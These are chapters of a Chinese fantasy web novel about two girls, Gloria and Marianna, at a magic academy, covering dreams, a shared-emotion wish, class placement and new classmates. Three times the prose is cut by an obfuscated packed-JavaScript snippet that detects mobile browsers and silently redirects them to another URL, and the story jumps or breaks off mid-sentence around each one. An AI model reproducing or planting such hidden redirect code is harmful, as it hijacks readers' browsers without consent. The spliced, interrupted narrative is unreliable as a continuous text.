“那个白头发的女孩是普通人吗？看起来不像。”奥罗拉轻轻敲着腰间的佩剑，站到了卢洛伦德身后。 “不是哦，管理资料的老师说她是‘混血精灵’呢！”卢洛伦德搭着埃利斯的肩膀，竖起一根手指晃了晃。 看着只想站在在人群外围的格洛瑞亚和兴致勃勃想挤进前排的玛莉安娜拉扯了几下，卢洛伦德笑了。 “你们要是没什么事情，一起等一等怎么样？说不定今年又能抓几个聪明的新生进社团呢~”卢洛伦德干脆靠在身后不远的墙面上，尾音可疑地上扬。 “我倒是不觉得有那么多天才。”埃利斯一边说，一边同样靠在墙上，头顶的耳朵扑棱几下，显得心情很好，“但是我确实没课，闲着也是闲着。” “……知道了。”奥罗拉轻叹，站在旁边，同样没有离开。 · “瑞尔，他们是不是还在看我们？”这次玛莉安娜的耳语没有被第三个人听见了。 玛莉安娜一脸紧张地凑近，几乎把格洛瑞亚抱住。她本来觉得卢洛伦德只是在进行和他那两个朋友聊一聊，时不时看看自己和格洛瑞亚。但是时间越长，就越觉得背后视线如影随形，一直被注视的感觉让她整个人有一种说不出来的不安。 格洛瑞亚看玛莉安娜有点紧张，干脆把兜帽戴上，两人往前面的人群里走了走。 “瑞尔，什么情况？”被兜帽盖住了大半张脸的玛莉安娜悄悄回头看了看，身后的空隙已经被其他人填满，略微安心了一些。 “……有病吧。大概。”出乎玛莉安娜预料，只露出小半个下巴的格洛瑞亚只是挤出几个字，就推着她继续往前面走。 “去测试吧。”格洛瑞亚尽力安抚玛莉安娜让她先去分班，自己却站在原地没动。 半晌，格洛瑞亚摘下兜帽，朝那个角落看去。 卢洛伦德状似惊喜地朝她挥手，奥罗拉拄着佩剑朝她点头。 格洛瑞亚是视线从三人身上扫过，只多打量了一会似乎心不在焉的埃利斯。 埃利斯被看到炸毛又不敢有大动作，刚想问问卢洛伦德什么情况。 格洛瑞亚点点头，又戴上兜帽，转身混进人群中了。 “休……她……？”埃利斯指了指已经彻底融入人群的格洛瑞亚，又抓住了旁边的好友。 “谁知道呢。” 卢洛伦德无所谓地摆手，仿佛永远不会改变一般微笑着。 12. 第12章 愿望 格洛瑞亚在做梦。 格洛瑞亚无比清楚的认识到，这是一场久违的梦境。 从离开那个边陲小镇到了王都，一路上的记忆在眼前倒放，从刻着“王都魔法学院”的大门到佐洛琳城的光明神雕像，再到那座小楼里眼圈微红的女人和女孩。记忆被多次重现在眼前的感受不算好，格洛瑞亚却只能看着这些记忆反复播放，无力改变。 格洛瑞亚在这些记忆重复到第三次的时候觉得有点恶心，索性闭上眼睛，准备重新沉入正常的黑暗中。 “……你就这么把‘石头’送出去了？” 随着这道熟悉的声音，格洛瑞亚缓缓睁开了双眼。 “又不想说话了啊？也没怪你，就是好久不见了，再见面总得找个话题吧……” 记忆终于倒放到了格洛瑞亚悄悄给玛莉安娜送上见面礼的那天，梦境猛然碎裂，点点星光凝聚成一团柔和的光。 格洛瑞亚犹豫地看着这团光，只抬手推远了一些。 那团光活泼地绕着格洛瑞亚转，看起来完全没有介意格洛瑞亚把它推开。 “你这次有点泛……绿光？”格洛瑞亚闭了闭眼睛又睁开，浅紫色的眼睛倒映着那团突然停在半空的光。 “……啊，毕竟，那个，好久不见一次嘛哈哈……”那团光——暂时带着些浅绿色的光，格洛瑞亚悄悄在心里喊它“小绿”，晃晃悠悠地接着凑近又被推开，锲而不舍地想再看看格洛瑞亚的记忆。 和之前出现的不一样。格洛瑞亚同样锲而不舍地赶走这团小绿。 之前的梦境里，格洛瑞亚见过很多次这团光。 有那么几次只是普通的白色的光，有时深一些，有时浅一些，有的时候则是温暖一些。 当然，这团光有时还会泛着很浅的红色、蓝色，有一次还变成了和格洛瑞亚的眼睛有些像的浅紫色。 绿色的，没见过，有点奇怪。格洛瑞亚思绪飘远，手里力气大了点，一巴掌把小绿推到了远处。 看着远处迅速翻滚几圈气势汹汹冲回来的小绿，格洛瑞亚默默收回了手。 之前出现的也不喜欢这么玩。 “有什么必要？”格洛瑞亚干脆利落躲过小绿的冲刺攻击，当然梦里也不会有什么痛觉，她只是不喜欢这团莫名其妙在梦里驻扎的光，“这不就是你说的‘礼物’吗？” “你说‘交朋友要互送礼物’， “你说‘人要有自己的爱好’， “你说‘人应该好好学习知识’， “我做到了。 “然后呢？” 格洛瑞亚看着那团光左摇右晃，想说什么又不知道怎么说的样子。 格洛瑞亚突然想到玛莉安娜。 玛莉安娜在这种时候会说什么呢？ 格洛瑞亚看着那团光。 “这次你又想让我看见什么呢？玛莉安娜的未来？乌忒娜的未来？还是卢洛伦德为什么要一直凑过来？”格洛瑞亚看着小绿有想偷偷溜走的意思，第一次主动去抓住这团永远只出现在自己梦境里的光，“还是说，你又想让我接受所谓的‘命运’？” “开始这本来就是‘命运’啊！”光团又一次在半空中左摇右晃，似乎很不服气，“你就是会遇到玛莉安娜；你就是会治好斯顿艾斯；你们就是会遇到埃利斯和卢洛伦德，然后……” 猛然震颤的光团陷入沉默，梦境不稳定地晃动起来，格洛瑞亚只是看着，像曾经被人带离雪山时一样平静。 “我还是不明白。”格洛瑞亚看着黯淡不少的光，看着不再稳定的梦境，“我一定要顺应‘命运’吗？” “我不知道。” 出乎意料的是，那团光第一次回应了她的疑问。 “我只是，想回到某些回不去的‘过去’。” 格洛瑞亚在醒来前，只听见了自己的声音。 · 梦境里过了再久，现实里也不过是午休的一个小时。 玛莉安娜的寝室里，格洛瑞亚原本只是在书桌前看书却骤然入眠，玛莉安娜倒是在床上睡得香甜。 玛莉安娜的兴奋劲在做分班测试的时候就已经逐渐消退，更别提被卢洛伦德三人莫名其妙的注视吓到，早就困得不行了。 格洛瑞亚合上书，看了看被风吹起的窗帘。 不知道是粗心大意还是刻意为之，推拉窗略微留出了一个缝隙，有夏日里珍贵的微风悄悄在寝室打转。 格洛瑞亚感受着此刻难得的、宁静的、珍贵的夏日午后。 这点宁静很快被打破了。 敲门声没有打扰玛莉安娜的酣睡，却成功地叫醒了沉思的格洛瑞亚。 “你好，是玛莉安娜同学吗？”门外站着一个和玛莉安娜差不多高的女孩，脸上也是和玛莉安娜一样的自信大方。她露齿一笑，翻了翻手里的一沓羊皮纸，抽出一张递给格洛瑞亚。 “这是玛莉安娜同学的入学测验结果和分班结果。我是二年级的级长安塔莉·普修索，同样也是你在战士修习时的班长。” “……战士修习？”格洛瑞亚看了看手里的羊皮纸，示意安塔莉稍等，转身走进了寝室。 安塔莉茫然地看着格洛瑞亚走进去，从没关好的门缝能看见她看床上拉起又一个女孩。 “玛莉安娜，你的班长来了。”格洛瑞亚轻轻晃醒玛莉安娜，“该起床了。” “战士修习？！”十分钟后，清醒的玛莉安娜站在寝室门口，恨不得把手里这张写着测试结果和分班结果羊皮纸撕掉重新去测试。 格洛瑞亚从脸上仍然带有尴尬的安塔莉手里拿走了属于自己的那张羊皮纸。 和预测的一样，魔法能力方面是既不算突出也不算垫底的分数，身体素质方面也平平无奇，一切顺利地被分到了“魔法修习”为主的班级。 倒是玛莉安娜居然会是战士修习，这倒是有些出乎格洛瑞亚的预料。 安塔莉尽力维持着级长的状态给两人科普了一下不同分班的具体注意事项，叮嘱两人明天去到最高的那栋白塔四楼上课，飞也似地跑走了。 安塔莉离开了，玛莉安娜把寝室门一关，对着格洛瑞亚开始了碎碎念。 从进行魔力测试的水晶球到进行对抗的助教老师，再到在她看来莫名其妙的要求举起又放下的刀剑，玛莉安娜都非常不服气这份综合各种分数的测试结果。 格洛瑞亚只是看着玛莉安娜。 格洛瑞亚不懂玛莉安娜的“不服气”从何而来。 格洛瑞亚认为这是“命运”的一部分。 格洛瑞亚感受不到玛莉安娜的遗憾、悲伤与愤怒组成的复杂情感。 所以，格洛瑞亚只是按照自己原本的时间规划，在玛莉安娜大口呼吸的空隙里说：“明天就上课了，玛莉安娜记得早点休息。” 玛莉安娜愣在原地，格洛瑞亚转身离开。 “瑞尔？你去哪？” 玛莉安娜的声音从喉咙里挤出来，轻到自己都听不清。 “去图书馆。”格洛瑞亚的手已经搭上了门，准备离开。 “我有一本借阅的书到期了，在学院的图书馆就能还回去。” 门锁“咔哒”一声轻响。 · ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383201|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格洛瑞亚回到寝室的时候，天边已经燃起了火烧云。 天空是粉紫色的画布，一端是星光闪烁的夜空，一端是熊熊燃烧的烈火。 格洛瑞亚有时总会有些不合时宜的想法。 比如现在就很想把眼前这片天空画下来。 但是不行。 格洛瑞亚在寝室门上留下的魔法传来预警，玛莉安娜在十分钟前跑去了她的寝室。 “玛莉安娜？怎么不点灯？”寝室的窗户还能窥见没有完全消失的天光，玛莉安娜只是坐在那把属于格洛瑞亚的椅子上，沉默地看着推开门的人。 “……玛莉安娜？”格洛瑞亚在门口站定了。 一点火光昏暗地照亮，格洛瑞亚看着玛莉安娜的影子放大又缩小，嗅到一丝花香靠近。 玛莉安娜的衣服上被乌忒娜仔细施加过清洁魔法，总是带着一丝副作用的花香。当然，格洛瑞亚现在的衣服上也是一样的花香。 格洛瑞亚看着玛莉安娜凑近，把手里的小篮子递过去。 “我带了面包和咸肉，还有沙拉。” “先吃饭吧。”玛莉安娜叹气，彻底点亮了灯。 晚饭只是面包夹着咸肉和看不出原本面貌的青菜，玛莉安娜吃的沉默且专心，格洛瑞亚就再没提起中午被送来的测试结果。 “瑞尔。”玛莉安娜沉默着吃饭，沉默着看格洛瑞亚收拾残渣，沉默着看格洛瑞亚准备拿起书来看。 玛莉安娜忍不住了，她第一次觉得格洛瑞亚的平静让人如此无力。 格洛瑞亚有时看起来就像一潭平静的死水。 玛莉安娜想，她见过这样平静的水面。在那个边陲小镇的中心有再也不能流动的喷泉，玛莉安娜每天都要从那里经过，于是就一天天看着那片水面平静地干涸下去。 无论是添多少水进去还是用力搅动水面，都不过是无用功。玛莉安娜很清楚。 因为喷泉从被撤走了动力源的那一天开始，它就只能随着时间流逝着干涸，然后被下一个买下这块地皮的人砸掉，从这个世界上消失。 可能会有人记得这座喷泉，但是很少会有人去惋惜它。 玛莉安娜曾经也用了一下午的时间去思考，怎样能拯救那座喷泉。 玛莉安娜今天同样用了一下午时间来思考，怎样去打破格洛瑞亚这份令人心悸的平静。 她想到了。 “瑞尔。”玛莉安娜学着像格洛瑞亚一样平静，但是她还在为自己做出的决定而心脏颤抖。 “我要许愿。” 格洛瑞亚合上书，看着眼神坚定的玛莉安娜。 “瑞尔，你能成为愿望实现的载体吗？”玛莉安娜笑了。为自己的想法，她现在觉得很兴奋。 格洛瑞亚摇头。没有人会想到，实现愿望的“神明”会有“愿望”；也没有人会想到，是不是能为“神明”许下愿望。 玛莉安娜觉得自己的心脏都要跳出来了。 紧张，但是她觉得自己能成功。 “我要许愿。” “我的愿望很简单。” “格洛瑞亚，我要把我的情绪分享给你。哪怕只能分给你一点、哪怕你只能感受到一丝。我想要你也能清楚地体会‘人的感情’。” 玛莉安娜笑着，看一道浅白的光连接了格洛瑞亚和自己的心脏。 “瑞尔。”玛莉安娜很认真、很认真，认真到格洛瑞亚不得不同样认真，“如果你不能清楚地感受这个世界，我来当你和世界的链接者，好吗？” “格洛瑞亚，这是我送给你的，第一份礼物。” 13. 第13章 老师好 格洛瑞亚的眼泪停不下来。 这份眼泪既是玛莉安娜的，也是独属于格洛瑞亚的。 眼泪是一种很特殊的情感表现。不是表情，不是动作。 眼泪从眼眶中一滴、一滴地流出来，脱离身体，独立存在于这个世界上。 像是一份证明。 一份感情表现的证明。 一份拥有感情的证明。 玛莉安娜看着那道光熄灭，看着格洛瑞亚抚上自己的胸口，看着格洛瑞亚表情空白，却泪流不止。 格洛瑞亚茫然地接住滴落的眼泪，努力去擦，却无论如何都止不住。 于是玛莉安娜也开始流泪。 没有真情流露，没有抱头痛哭。 只是对视着，默默地流泪。 格洛瑞亚很茫然。 这不是她曾经有过的感受。 心脏荒烟蔓草，于是眼泪汹涌。 “……我想到了一件很好玩的事情。”格洛瑞亚看着掌心的眼泪，笑了。 玛莉安娜泪眼朦胧地看着同样泪眼朦胧的格洛瑞亚。 “我只是突然想到，如果我真的是精灵的话，眼泪其实可以保留一下，能做魔药。” 玛莉安娜的回答是把手边最近的那本书扔过去。 “好啦，玛莉安娜。”格洛瑞亚还在止不住地流泪，她现在觉得眼睛已经有了些肿胀感，“不要难过啦，起码不要让我再哭啦。” “我不！”玛莉安娜气势拉满，大有一副今天很委屈，所以不哭到满意不罢休的意思，“格洛瑞亚！你给我好好感受一下这种难过啊！” 虽然气势汹汹，但是玛莉安娜的眼泪也不过在持续了十几分钟后就停下了。 取而代之的是迟来的后怕。 玛莉安娜脑子一热，没有和任何人商量，相当“自私”地许了一个愿望。 这份愿望，一定会实现吗？ 会怎样实现呢？ 玛莉安娜这样害怕地想，同样害怕地问。 格洛瑞亚闭上眼仔细感受了一下。 “大概是实现了的。”格洛瑞亚也是第一次体会到“愿望”的力量，也确实没想到这个“愿望”能实现。 “我能感受到玛莉安娜的情绪。但是这份感受到的情绪，可能要强烈到一定程度才能影响到我。”格洛瑞亚的用词很谨慎，现在不看玛莉安娜的表情，她也能感受到玛莉安娜强烈的不安。 格洛瑞亚不希望这份不安变成恐惧。 “我想我能分清‘情绪’了。”格洛瑞亚轻巧地站起来，把手帕沾水打湿，示意玛莉安娜擦擦脸。 “哈，说的这么轻松，你还有得学呢。”玛莉安娜毫不客气地接过手帕擦脸，这份从中午开始就没有得到安慰的委屈发泄出来耗费的力气比她想象的多。 “那我要叫你‘老师’吗？”格洛瑞亚也毫不客气地回敬，眼泪流的太久真的不舒服。 “这倒是不至于……”玛莉安娜干脆借了格洛瑞亚的镜子仔细看了看眼睛，又在哀嚎一声后把镜子推远。 “我眼睛肿了！”玛莉安娜痛苦地趴在了桌面上，“明天第一天正式上课！我现在改信专注治疗的几位神明还来得及吗？” “我觉得他们应该不管这些。”格洛瑞亚的回答一如既往地认真，不过现在玛莉安娜的情绪确实放松了不少。 感觉不到玛莉安娜的情绪，格洛瑞亚也平静了一些。 “……感觉怎么样？有什么地方不舒服吗？”格洛瑞亚戳了戳一直趴在桌子上拒绝抬头的玛莉安娜。 玛莉安娜在自己的臂弯里疯狂摇头。 “瑞尔呢？”玛莉安娜闷闷地出声。 “我也没有。”格洛瑞亚干脆飞快地在地面上画了几个简单的检查身体的法阵，依次站上。 玛莉安娜在手臂和桌面的缝隙看到各种颜色的光依次闪过，悄悄抬头看过去。 格洛瑞亚一脸严肃地看着自己脚下颜色黯淡的法阵。 “玛莉安娜，来测一下。”格洛瑞亚仍然严肃，让开了地方。 “……哦。”于是玛莉安娜从椅子上不情不愿地起身，同样从所有法阵上面走过。 “一切正常。”格洛瑞亚的声音无论什么时候，都是轻柔的，平静的。 “玛莉安娜，你是完全的‘人类’吗？” 格洛瑞亚看看白光大盛的最后一个法阵，又看看玛莉安娜。 玛莉安娜被这几乎称得上“冒犯”的问题问到了脸上，几乎是警觉地抬头看过去。 格洛瑞亚一贯的平静掺杂着严肃，玛莉安娜却能读出一份带着茫然的疑问。 “你是‘人类’。” 格洛瑞亚很茫然，再一次踩上了最后一个法阵。 没亮起来。玛莉安娜屏住呼吸。 半晌，这个小型的法阵终于颤巍巍地亮起了一丝白光。 · “早上好！” 一大早，二年级级长、战士修习的班长、安塔莉·普修索在白塔的楼梯上偶遇了格洛瑞亚和玛莉安娜，快走几步和前方的一黑一白两道人影打招呼。 “早上好。”格洛瑞亚转过头，倒是没想到这位班长很有些自来熟。 玛莉安娜同样转过头，嘴里咬着一块曲奇，含糊不清地“唔唔”几声。 “你先吃，我就是来打个招呼。”安塔莉探头上下看了看完全称得上空旷的白塔，有些不解这两人为什么来这么早，不过想到自己也已经来了，索性就不问了。 “我们来提前看看其他教室。”安塔莉还在纠结用什么话题继续聊天，格洛瑞亚就“善解人意”地开口了。 “对哦，你们两个是转学来的，不能和一年级新生一样跟着高年级的级长去了解学院。”安塔莉状似苦恼地停顿了一下，露出了一个明媚的笑容。 “我可以当你们的向导哦。大概一两个星期就能认清各种教室和办公室，各位老师我也很熟悉的。”安塔莉干脆在楼梯口站定，朝格洛瑞亚和玛莉安娜伸出手。 看着眼前满脸写着“选我不亏”的安塔莉，玛莉安娜的手抬起来，就被格洛瑞亚压下去。 “你的目的。”格洛瑞亚毫不客气。 玛莉安娜的愿望，“分享情绪”的副作用在今天早上体现的淋漓尽致。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383202|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格洛瑞亚在从未体会过的心悸中醒来，第一反应就是——玛莉安娜出事了。 格洛瑞亚的思绪被两倍的恐惧控制住，几乎是冲到了玛莉安娜的寝室。 玛莉安娜整个人被冷汗浸透，正坐在床上大口呼吸。 “……玛莉安娜？”格洛瑞亚拖过椅子坐在床边，两双颤抖的手彼此紧握。 “……没事，我没事。”玛莉安娜从喉咙里挤出了声音，接下来的发声就逐渐顺畅起来。 “我还好。我就是……好像看到了很多东西……乱七八糟的，在打架？还是在……在做什么？”玛莉安娜茫然地回忆飞速消退的梦境，空洞的双眼被格洛瑞亚轻柔地捂住。 “别去想。”格洛瑞亚的嗓音逐渐凑近玛莉安娜的耳边，“别去回忆。不要试图记住那些画面。忘掉它们。” 玛莉安娜的副作用体现在她不受控地“看见”了和格洛瑞亚有关的“过去”； 格洛瑞亚的副作用体现在她可控制地“感受”了所有经过身边人的“现在”。 格洛瑞亚能感受到安塔莉的好奇与犹豫，也能感受到她带着目的的自我推荐。 “啊，被发现了。”安塔莉大大方方地收回手，干脆直白地说出了自己的目的。 “两件事。第一，我是二年级的级长，但是我需要三年级我还是。帮你们两个适应学院这件事如果上报给负责老师，我在学年年末的级长再选的赢面会更大一点。”安塔莉伸出两根手指，一根一根折下去，“第二，我看见你们和伊特佛诺学长走的很近。我想认识他。” 第一件事完全没问题。格洛瑞亚和玛莉安娜对视一眼点头答应。 “但是第二件事，我们帮不上忙。”玛莉安娜很诚恳。 “卢洛伦德究竟是为什么会注意到我们，我们不清楚。”格洛瑞亚干脆利落地总结了第一次见到卢洛伦德的乌龙事件和后来莫名其妙的注视。 格洛瑞亚真的不觉得这位学长有什么值得特意认识的地方。 “……好吧。”安塔莉遗憾地摸了摸自己短短的红发，也不强求。 格洛瑞亚看了看时间还早，干脆就让安塔莉直接带着她们在白塔里看一看。 “我们从四楼开始吧。”安塔莉抬头指了指已经近在咫尺的教室，飞快地介绍起这座白塔。 “整座白塔一共是七层，我们现在位于第四层。”安塔莉左手从下至上平举，右手在大约中间的长度比划了一下，“第四层主要是二年级和部分四年级的活动场地。这个教室基本上的用途也就是发发书、开开会之类的，因为现在的二年级里进行战士修习的人占大部分嘛，所以大家都会去外面进行体力训练，剩下的空间就借给四年级的学生了。” “是的哦！我们四年级里很多人都喜欢在这层教室里学习……”身后又突然冒出来一个声音，格洛瑞亚毫不犹豫转身发起攻击。 “因为这层楼的窗户很大，能看见很好的风景。” 顶着狐狸耳朵的埃利斯轻松躲过一击，笑眯眯地说。 “早上好，埃利斯学长。” 格洛瑞亚放下手，若无其事地打招呼。 14. 第14章 班长好，学长好 “好凶哦。”埃利斯抖抖耳朵，不满意地顺了顺因为躲避动作过大而有些乱的头发，“我可是好心好意地来道歉的，不要这么凶嘛。” 玛莉安娜打了个寒颤，格洛瑞亚倒是想起来了什么一样，对着安塔莉指了指还在顺毛的狐狸。 “他认识那个伊特佛诺学长，看起来关系也很好。你劫持他吧。” 埃利斯“噔噔噔”倒退三步，脸上是夸张的难以置信。 “你好狠的心啊~我不过是只狐狸~为什么要遭此劫难~” 声音哀婉做作，一时间余音绕梁，三个女孩顿时愣在原地。 “……好的我们转身接下来介绍一下这边这个空教室它是干什么的呢对你们很聪明这是一个空教室通常有什么社团会经常借用开会之类的……”安塔莉漠然转身，语气平静，眼神空洞。 “……安塔莉，你还好吗？”玛莉安娜凑过去戳戳。 “大概……我不知道，我为什么一大早会看见这种东西……”安塔莉脚步虚浮地带走了玛莉安娜，格洛瑞亚跟在后面。 “离玛莉安娜远一点。” 埃利斯还维持着伤心欲绝的神态，就听见那个出主意劫持他的人的声音又出现在了面前。 “你在说什么啊~人家不清楚~” 埃利斯双手捂着脸，瓮声瓮气地继续矫揉造作。 “不管你是自己想来，还是卢洛伦德要你过来。”格洛瑞亚的长发无风自动，抬起的指尖已经有白光闪过。 “离玛莉安娜远点。” 千钧一发之际，白光只是浅浅擦过埃利斯的耳朵。 格洛瑞亚转身离开时，没看到埃利斯阴晴不定的脸色。 · “……这就是我们今年需要学习的几门课程啦。”格洛瑞亚回到教室时，玛莉安娜和安塔莉似乎完全没有意识到她的去而复返，安塔莉还在继续她的向导工作，玛莉安娜也还在在边听边点头。 “对了。”安塔莉介绍完几门课程，像是突然想起了什么一样猛拍了一下桌子，“你们还要和一年级的新生一起去学‘基础武器制造’这门课！” 安塔莉分别指了指玛莉安娜和格洛瑞亚，确认一般点点头。 “玛莉安娜的话要去学给基础的刀、剑、匕首什么的测试精确度之类的。” 安塔莉掏出自己的匕首递出，示意玛莉安娜可以看一看。 “魔法使的话……”安塔莉回忆了一下自己只是道听途说来的课程内容，“好像是要种树？” “种树？”玛莉安娜原本在翻来覆去地欣赏那把精致小巧的匕首，闻言差点把匕首扔出去。 “不是真的种树，是做木制法杖的话要测试合不合适自己使用，只是要用各种材料堆砌掩埋，所以看起来像种树。”格洛瑞亚拍拍玛莉安娜，示意她不用大惊小怪。 “哇，你都知道啊？”安塔莉笑眯眯的看着眼前的两人互动，觉得未来几天的工作会很轻松。。 “嗯。打听过具体课程内容，之前的学院倒是只有理论课程。”格洛瑞亚面不改色，玛莉安娜侧过头笑嘻嘻地戳了戳撒谎的人。 之前的边陲小镇别说实际制作了，有还在招生学习的学院就很不容易了。玛莉安娜所在的一年级只有四个孩子，格洛瑞亚更是一直宅在小楼非必要绝不出门。 三个人躲在教室后面嘀嘀咕咕，没注意到教室里的人越来越多。 “安塔莉，这两个就是新来的转学生吗？”有一道努力控制着不颤抖的声音在安塔莉身后出现，格洛瑞亚第一眼甚至没看到有人出现。 安塔莉倒是没有多余的反应，反手抓住来人的兜帽把人摁在了旁边的座位上。 全身被斗篷裹住连发丝都不见一根的黑色身影在椅子上左摇右晃了几下，不动了。 安塔莉不死心地又戳又拍，都没戳出来第二句话。 “这位是你的班长。”安塔莉对着格洛瑞亚指了指把斗篷裹得死紧的人，颇为无奈，“她超级害怕和人打交道，但是因为天赋和家世都很好，老师要求她在各种课程演示上做表率，干脆就成班长了。” “……你，你们好，我是，我是菲莉尔……”似乎是终于下定了决心，黑色斗篷抽抽嗒嗒地终于憋出了自我介绍，要不是格洛瑞亚和玛莉安娜凑的够近，恐怕都听不清这跟蚊子一样的声音。 “我是……我是魔法修习的班长，有什么事情都可以来找我……”菲莉尔伸出一只控制不住在发抖的手，敲了敲眼前的桌面。 两朵漂亮的小花在桌面上舒展花瓣，玛莉安娜惊叹一声。 “送给你们，我喜欢的花。”菲莉尔终于说完最后一句话，长叹一声窝在椅子里不动了。 “好的，谢谢。”格洛瑞亚捡起两朵花，分别别在了自己和玛莉安娜的胸口。 “准备上课了！”急匆匆走进教室的成年女性敲了敲教室最前方的黑板，给自己施加了放大声音的魔法。 玛莉安娜差点从椅子上跳起来，菲莉尔把自己裹得更紧了。 “伊诺尔老师。”安塔莉低头凑到格洛瑞亚和玛莉安娜面前低声介绍，“是我们五年学习生活的基础指导老师，同时教‘基础剑术和体术’，是很受欢迎的一位老师。” “格洛瑞亚？玛莉安娜·塔里？”伊诺尔老师看着站起来的两个人摆摆手，示意两人坐下。 “这两位是新同学，如果有什么不适应的地方大家互帮互助。”伊诺尔老师很快介绍了今年的课程安排，让安塔莉把几份不太一样的课程表发下去。 “瑞尔，我看看你的。”玛莉安娜拿到课程表匆匆扫过几眼，悄悄把格洛瑞亚的拿过来对比。 讲台上的伊诺尔老师也在解答逐渐拿到自己课程表的同学时不时的提问，玛莉安娜在下面讲小话讲得毫无负担。 “我们的课程安排差不多哦？“玛莉安娜仔细对比着两份课程表，发现只有涉及到魔法修习和战士修习的课程不能一起上课，其他的关于制药、草药之类的课程倒是都在一起。 “这些空白的地方是自由活动吗？”玛莉安娜看着发完课程表回到座位的安塔莉，干脆坐过去方便提问。 “是自由活动。也可以选自己喜欢的其他课程或者干脆去听其他年级的课。”安塔莉把自己的课程表展示给玛莉安娜，指了指已经被提前填写上去的几门课。 “去年就选好了的话可以一直选下去，一个月只能报一次或者改一次。当然最好不要一次报太多课，旁听的还好，要是正常上课过不去考试就惨了。”安塔莉说着打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383203|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个寒颤，似乎是感受到了什么可怕的事情。 伊诺尔老师的眼神无声却有力，被远远盯了一眼的安塔莉用手肘拐了一下玛莉安娜，低下头无声地做了个鬼脸。 格洛瑞亚自从被拿走课程表就安静地坐在座位上，旁边的菲莉尔倒是抖着手递过来了自己的课程表。 “你，你可以，参考一下。”菲莉尔的声音在刻意压低后更是几乎悄无声息，格洛瑞亚看了看还在讲台上答疑的伊诺尔老师，干脆接过来。 基础魔法修习、草药栽培与保护、魔法药水制作……扫过几门基础课程，格洛瑞亚看着几门明显是特殊选课的课程，突然有种想要咂舌的冲动。 这位看起来完全不想和任何人多打交道的菲莉尔给自己选了观星占卜、巫术与魔法、异常生物研究和一门格洛瑞亚理解不了的课。 菲莉尔的课程表上有一门“神谕”。 格洛瑞亚暗自记下，把菲莉尔的课程表还了回去。 正式开始上课时的伊诺尔老师气势强硬，在教学时也非常细致入微，以至于两节课过去，玛莉安娜在教室外的走廊上兴奋地抓住格洛瑞亚，表示自己以后的榜样就是这位伊诺尔老师了。 “非常感谢你的喜欢，但是现在你们可能得跟我来一下办公室。”伊诺尔老师就这样出现在了两人身后，玛莉安娜想到自己刚才的“表白”，一时间有点抬不起头。 格洛瑞亚一脸平静地抓住面红耳赤的玛莉安娜，跟上已经在走向五楼楼梯的伊诺尔老师。 “好了，这是你们的课程申请表和目前学院开设的各种课程介绍，你们可以先拿走，下周一交就行。” 伊诺尔老师看着悄悄把自己往格洛瑞亚身后藏的玛莉安娜，补充了一句。 “我也教‘特殊草药养护’这门课，要来听一听吗？” 已经是中午了，两人告别伊诺尔老师来到食堂，玛莉安娜依旧是一幅魂不守舍的模样。 一顿午餐快吃完，格洛瑞亚看着心思完全不在食物上的玛莉安娜，终于忍不住了。 “玛莉安娜，醒醒。我的心跳已经快起来了，你还好吗？”格洛瑞亚在玛莉安娜眼前猛挥手，试图唤回玛莉安娜的一丝清醒。 “……我还好，我当然很好。”玛莉安娜维持着一种梦幻的语气，显然还是在想着在学生里分外有魅力的伊诺尔老师，“我觉得我一定要选那门‘特殊草药’的课，你说我需要准备什么工具吗？或者去背下来哪本书比较好？” 格洛瑞亚把那本介绍各种课程的小册子翻开，很快就找到了需要的那一页。 “你不用买书，工具会由学院提供。”格洛瑞亚看着小册子，慢慢总结。 “你只需要每周五晚上去四号温室上课就行。”格洛瑞亚顿了顿，补充道，“记得多穿件斗篷。” 玛莉安娜不解：“啊？” 格洛瑞亚把小册子递过去。 “今年好像是更特殊一点，备注上写了温室很冷，不建议无法适应低温的种族今年选。” 玛莉安娜接过那本小册子，衷心地感慨。 “还好我是普通人类。瑞尔，这种时候就觉得是人类真好啊。” “啊，确实很好。” 格洛瑞亚语焉不详地回答。 15. 第15章 有所求，有所忧 在学院学习的生活概括起来大概就是：大事没有，小事不断。 玛莉安娜结结巴巴地交上了自己的选课结果，顺便在格洛瑞亚的帮助下上交了一封八百字的自荐信给到了伊诺尔老师；安塔莉雷厉风行地提交了自己的向导申请，平均每天要和格洛瑞亚见四面，玛莉安娜更是全天候跟随状态，确保两人完全摸清各条方便路线。 各门课程的学习也有条不紊地顺利推进，格洛瑞亚更是习惯每天提醒玛莉安娜作业按时完成。 当然，这些只是日常的小事。 学园生活，总会有一些不太日常的小事。 